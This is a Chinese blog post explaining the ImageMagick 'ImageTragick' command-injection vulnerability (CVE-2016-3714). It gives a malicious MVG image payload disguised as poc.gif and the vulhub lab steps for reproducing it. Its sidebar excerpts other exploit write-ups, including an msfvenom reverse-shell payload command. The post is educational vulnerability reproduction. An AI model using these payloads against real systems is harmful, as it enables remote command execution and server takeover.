看图片也能中招！

于 2022-08-19 12:15:18 发布
阅读量187 收藏
点赞数
CC 4.0 BY-SA版权
文章标签： git python linux docker java
原文链接：https://mp.weixin.qq.com/s?__biz=MzA5NzgzODI5NA==&mid=2454085983&idx=1&sn=c59dcca525e7f840374cfd4b0b85f38f&chksm=872874e6b05ffdf096d0d7e2a90291bec276e6937e40d46802043f91c9bb69b76e5d2a848aa2&scene=126&&sessionid=0
本文讨论了近期QQ被盗号事件中的传言，聚焦于一张图片可能导致的安全问题，回顾了ImageMagick的高危命令注入漏洞，解释了如何通过恶意图片执行命令。同时，作者提供了漏洞原理、复现步骤以及历史案例的背景信息。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

这两天，关于QQ盗号的安全事件相信大家已经听说了。各种各样的传言都有，一会儿数据库泄露了，一会儿API漏洞了，一会儿又是协议漏洞了，还有的说扫描二维码中招的，一时间众说纷纭。

在众多说法中，我看到了一个：只要点击图片就会中招！

好家伙，点图片就能中招，这可厉害了，要是对方发来一些诱惑的图片，年轻人把持不住那可咋整？

真有那么悬乎吗？

这不禁让我想起了几年前的一个漏洞，也是图片相关的，分享给大家看看。

那次漏洞的主角，是ImageMagick。

漏洞介绍

漏洞名称：Imagemagick 命令注入漏洞（CVE-2016-3714）

漏洞定级：高危

漏洞描述：ImageMagick 在处理恶意构造的图片文件时，对于文件中的 URL 未经严格过滤，可导致命令注入漏洞。通过命令注入漏洞，黑客可以在服务器上执行任意系统命令，获取服务器权限。

影响范围：ImageMagick 6.9.3-9本身及以前所有版本

漏洞原理

ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。

但有研究者发现，当用户传入一个包含『畸形内容』的图片的时候，就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站：https://imagetragick.com/

与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，

其中最严重的就是CVE-2016-3714，利用这个漏洞可以造成远程命令执行的危害。

ImageMagick有一个功能叫做delegate（委托），作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的

参考代码：https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347

我们在ImageMagick的默认配置文件里可以看到所有的委托：/etc/ImageMagick/delegates.xml 漏洞报告中给出的POC是利用了如下的这个委托：

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https图片的时候，使用了curl命令将其下载，我们看到%M被直接放在curl的最后一个参数内。

ImageMagick默认支持一种图片格式，叫mvg，而mvg与svg格式类似，其中是以文本形式写入矢量图的内容，而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片（但文件名可以不为.mvg，比如下图中包含payload的文件的文件名为vul.gif，而ImageMagick会根据其内容识别为mvg图片），并在https://后面闭合双引号，写入自己要执行的命令：

push graphic-context
viewbox 0 0 640 480
fill ‘url(https://"|id; ")’
pop graphic-context

这样，ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。

漏洞复现

  • 搭建靶机，教程：https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick

  • 下载vulhub：git clone https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick

  • 进入目录：cd /vulhub-master/imagemagick/imagetragick

  • 启动docker:docker-compose up -d 注意 我靶机 docker-compose.yml中端口为8888

125b673404738820454f9fe807f97a32.png

  • 访问搭建的靶机ip:8888

fcb717b1137cd2cc1c217a937569d509.png

  • 上传poc，新建一个txt文件，内容为：

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

将文件保存为poc.gif

46d2bc1b0bf7ed8eb87fcf74b5fd7f2b.png

上次poc.gif，点击提交，成功执行：

9064e09f5f0b5133e39bcab609638898.png

这年头，除了链接，图片也不敢随便乱点了···

————————————————

漏洞原理和复现部分原文链接：https://blog.youkuaiyun.com/u011975363/article/details/118031227

推荐阅读

编程IT圈
关注
文件上传漏洞—简单利用2（墨者学院靶场）
weixin_44431280的博客
03-01 1089
文件上传漏洞—简单利用（墨者学院靶场） 说明：文章中涉及的网站信息皆是墨者学院靶场环境，不涉及互联网真实环境，仅供学习。 上传思路： 步骤一：判断网站支持文件格式。从网站功能点或者题目说明可以判断处，该功能点支持上传图片格式（JPG，GIF和PNG等）文件 尝试上传文件名为poc.jpg和poc.php的图片：判断网站支持JPG格式文件上传 poc.jpg格式上传成功： poc.php格式上传失败： 步骤二：猜测网站拦截方式（前端JS/MIME类型/文件扩展名/黑白名单/文件内容检测/） JS前端，MI
CVE-2016-7124漏洞复现
万丈⾼楼平地起，勿在浮沙筑⾼台学艺不精的安全菜鸡，改行回家养猪了，对博客有疑问欢迎留言，看到一定回
02-22 2362
CVE-2016-7124漏洞复现 实验环境 操作机：Windows 10 服务器：apache 2.4.39 PHP版本：5.2.17nts 漏洞影响版本 PHP5 < 5.6.25 PHP7 < 7.0.10 漏洞产生原因 如果类中存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 漏洞复现 编写测试脚本 <?php header("Content-Type
[漏洞利用] CVE-2016-7124 漏洞复现(总结自一CTF题目)
Y4tacker的博客
07-21 1万+
文章目录漏洞影响的版本漏洞利用方法演示漏洞复现案例代码正常效果修改参数后的效果 漏洞影响的版本 从官网得知 PHP5 < 5.6.25 PHP7 < 7.0.10 漏洞利用方法 若在对象的魔法函数中存在的__wakeup方法，那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法，但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 演示 可能上面说的有点抽象就拿我今天遇到一道题来做个案例,运行下图 <?php cla
(环境搭建+复现) CVE-2016–3714 Imagetragick 命令执行漏洞
daxi0ng的博客
12-04 668
简单复现利用记录一下 在vulhub Imagetragick 文件夹下执行 docker-compose build && docker-compose up -d ps：如果80端口被占用，更改一下映射端口配置docker-compose.yml 在这里插入图片描述 这样服务就启动在ip:1234** 先来Getshell冷静一下 ** push graphic-conte...
你中招没Photoshop9个错误的使用方法详细解析中招报名密码格式错误是什么意思.docx
最新发布
06-13
最后，调整曝光和对比度时，不能忽视高光和阴影部分的细节。在调整时应单独对高光和阴影进行优化，以保留这些区域的细节，避免细节丢失。 以上就是Photoshop中9个常见错误的使用方法解析，了解并掌握这些方法能够...
河南省新野县2018届九年级物理第一次中招模拟考试试题扫描版
09-09
1. **力学**：力学是物理的基础，中招考试中常见的力学知识点包括牛顿三定律、力的平衡、重力、摩擦力、功和功率、动能与势能、机械能守恒等。考生需要掌握如何计算物体受力情况，分析运动状态，并解决能量转换问题...
九年级语文下学期中招导向预测模拟试题(扫描版) 试题.doc
11-10
【描述】中的“九年级语文下学期中招导向预测模拟试题(扫描版) 试题.doc”进一步确认了这是一个文档形式的模拟试题集，可能是PDF或图片的扫描版，以Word文档（.doc格式）的形式存在。扫描版意味着这些试题是从纸质...
河南省郑州市第四中学2013届中考英语中招模拟试题 人教新目标版
08-19
学生需要通过听懂短文中的关键信息，并匹配相应的图片来展示对内容的理解。这类题目考察的是学生的综合理解能力，要求他们在听完故事或描述后，能够抓住主要情节，概括和推理内容，这对英语阅读理解能力的提升也有很...
河南省许昌市2020届九年级中招第一次模拟考试物理试题(可编辑PDF版).pdf
11-11
丙图中，小孩滑下滑梯，由于摩擦力做功，机械能转化为内能，所以机械能总量减少。 8. 汽车物理学：第八题讨论了汽车相关的物理知识。轿车的汽油是不可再生能源，开车系安全带可以减少因惯性带来的伤害，轮胎上的...
Apache Tomcat安全漏洞列表及整改建议合集
热门推荐
story-xu的博客
08-08 1万+
描述： 安全整改目前已经成为安全运维工程师必备的技能之一，但是令人头疼的是，经常会应为一些整改问题，百度无数次，并且不知道标准是什么。下面就为大家总结了在近期web漏洞整改中，绿盟给出的漏洞报告及整改建议，方便大家参考与查找。 问题列表及整改建议列表： ...
Imagetragick 命令执行漏洞（CVE-2016-3714）
EC_Carrot的博客
07-01 576
漏洞背景 ImageMagick是美国ImageMagick Studio公司的一套开源的图象处理软件。该软件可读取、转换、写入多种格式的图片。 ImageMagick 6.9.3-10之前版本和7.0.1-1之前7.x版本的多个编码器（EPHEMERAL，HTTPS，MVG，MSL，TEXT，SHOW，WIN，PLT）中存在远程代码执行漏洞，该漏洞源于程序没有充分过滤用户传入的shell字符。攻击者可通过上传恶意的图像利用该漏洞执行任意代码，获取敏感信息。 漏洞复现 访问http://your-ip:80
linux 图片漏洞,还是Linux安全 微软GDI+图片漏洞详细情况
weixin_32635501的博客
05-14 359
微软GDI+图片漏洞详细情况:什么是GDI+：GDI+ 是一种图形设备接口，能够为应用程序和程序员提供二维矢量图形、映像和版式。漏洞影响：Microsoft产品中所使用的GDI+库(GdiPlus.dll)通过基于类的API提供对各种图形方式的访问。而Linux系统不受影响。GDI+库在解析特制的BMP文件时存在整数溢出漏洞，如果文件中包含有畸形的BitMapInfoHeader的话，就会导致错误...
ImageMagick远程代码执行漏洞分析
fly小灰灰的专栏
08-12 7933
1. 漏洞描述 漏洞编号： CVE-2016-3714 发现人员： Slack安全工程师Ryan Hube 漏洞简述： 产生原因是因为字符过滤不严谨所导致的执行代码. 对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。 影响版本： ImageMagick6.5.7-8 2012-08-17 ImageMagick6.7.7-10 2014-03-06 低版本至6.9
php反序列化cve漏洞复现,CVE-2016-7124php反序列化漏洞复现
weixin_30871011的博客
04-08 539
CVE-2016-7124php反序列化漏洞复现0X00漏洞原因如果存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行0X01漏洞影响版本PHP5 < 5.6.25PHP7 < 7.0.100X02漏洞详情PHP(PHP：HypertextPreproce...
脏牛提权漏洞复现（CVE-2016-5159）
1匹黑马
02-22 1647
文章目录影响范围危害漏洞原理漏洞利用 影响范围 Linux kernel >= 2.6.22（2007年发行，到2016年10月18日前所有发行版本） 危害 普通权限用户执行编译后的exp直接提权成root用户 漏洞原理 get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中，产出竞态条件造成COW过程被破坏，导致出现写数据到进程地址空间内只读内存区...
cve漏洞复现php,CVE-2016-7124php反序列化漏洞复现
weixin_42557830的博客
03-19 499
CVE-2016-7124php反序列化漏洞复现0X00漏洞原因如果存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行0X01漏洞影响版本PHP5 < 5.6.25PHP7 < 7.0.100X02漏洞详情PHP(PHP：HypertextPreproce...
CVE-2020-0796 SMBv3漏洞复现过程
BROTHERYY的博客
10-07 286
1.扫描主机是否存在漏 扫描py文件链接 2.下载可利用的POC poc地址 3.在kali里使用msfvenom生成shell，lhost是攻击机ip msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.236.130 lport=4444 -f py -o exp.py 4.将生成的shell替换poc文件夹里的exploit.py的USER_PAYLOAD，整个全部替换 5.进入msf开启监听 use exploit/mu
链接类型的CSRF并不常见，比起其他两种用户打开页面就中招的情况，这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接，或者以广告的形式诱导用户中招，攻击者通常会以比较夸张的词语诱骗用户点击，例如：
04-06
### 链接型 CSRF 攻击机制 链接型 CSRF 是一种通过诱导用户点击恶意链接的方式触发的跨站请求伪造攻击。在这种类型的攻击中，攻击者会构造一个指向目标网站的有效 URL 请求，并将其嵌入到恶意链接中。当受害者访问该链接时，浏览器会在后台自动向目标网站发送请求[^3]。 例如，假设 Web A 存在一个用于修改电子邮件地址的功能接口 `http://weba.com/change_email?email=new@example.com`。如果此功能未采取任何防护措施，则攻击者可以创建如下 HTML 页面： ```html <a href="http://weba.com/change_email?email=attacker@example.com">查看有趣的内容</a> ``` 一旦合法用户 User C 登录了 Web A 并点击了上述链接，其浏览器就会发出 GET 请求至 `http://weba.com/change_email?email=attacker@example.com`，从而完成邮箱更改的操作。由于整个过程对于服务器而言看似正常用户的授权行为，因此难以被察觉。 --- ### 链接型 CSRF 的防御方法 #### 1. **服务端引入 CSRF Token** 在每次表单提交或其他敏感操作之前，服务器应生成唯一的随机字符串作为 CSRF Token，并将其存储在当前会话或数据库中。随后，在前端页面加载时将此 token 嵌入隐藏字段或者附加到查询参数上。只有当客户端再次发起请求并携带匹配的 token 时，服务器才会处理该请求[^2]。 例如，针对上面提到的例子，可以通过以下方式改进安全性： - 当渲染包含潜在风险资源（如修改邮箱）的相关网页时，加入 CSRF Token； - 对于后续涉及这些资源的所有 HTTP 方法调用都需验证是否存在有效的 token。 以下是实现这一逻辑的部分伪代码展示： ```python def generate_csrf_token(): import secrets return secrets.token_hex(16) def validate_request(request, session): provided_token = request.args.get('csrf_token') expected_token = session.get('csrf_token') if not (provided_token and provided_token == expected_token): raise Exception("Invalid or missing CSRF token.") ``` #### 2. **双重 Cookie 检查模式** 另一种常见的做法是在 cookie 中保存另一个版本的 CSRF Token 同时也要求它出现在每一个 POST 数据包里头；如此一来即使有人能够注入脚本也无法轻易获取到正确的令牌因为它们之间相互独立[^1]。 具体流程如下所示： - 创建两个相同的 tokens —— 一个是存放在 cookies 下面的名字叫做 csrfToken ，另外一个是放置于 form 表单项中的 hidden input 元素之中。 - 在接收到来自外部系统的 post 请求之后，先对比两者是否一致再决定继续往下走还是直接拒绝掉此次连接尝试。 这种方法的好处在于不需要依赖额外的状态管理工具即可达到目的的同时还保持了一定程度上的兼容性和灵活性。 #### 3. **SameSite 属性配置** 现代浏览器支持 SameSite 属性来控制 Cookies 的发送时机，默认情况下不允许第三方站点共享同一份 Session Information 。开发者只需简单地调整响应头部信息就可以有效抵御大部分基于超文本传输协议(HTTP) 的跨域威胁: ```bash Set-Cookie: JSESSIONID=abcdef; Path=/; Secure; HttpOnly; SameSite=Strict; ``` 这里需要注意的是，“Lax” 和 “Strict” 这两种不同的策略级别各有优劣之处。“Strict” 可以最大程度减少泄露可能性但也可能影响用户体验，而“Lax” 则允许某些特定场景下的跳转动作但仍能阻止绝大多数非法活动的发生。 --- ### 总结 综上所述，链接型 CSRF 主要是利用了用户的身份认证状态来进行未经授权的行为操控。为了应对这类问题可以从多个角度出发制定综合性的解决方案，包括但不限于采用一次性使用的唯一标识符(Token)，加强同源政策(Same-Origin Policy)的应用范围以及充分利用新型特性像 SameSite Flags 来增强整体架构的安全等级[^1]。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值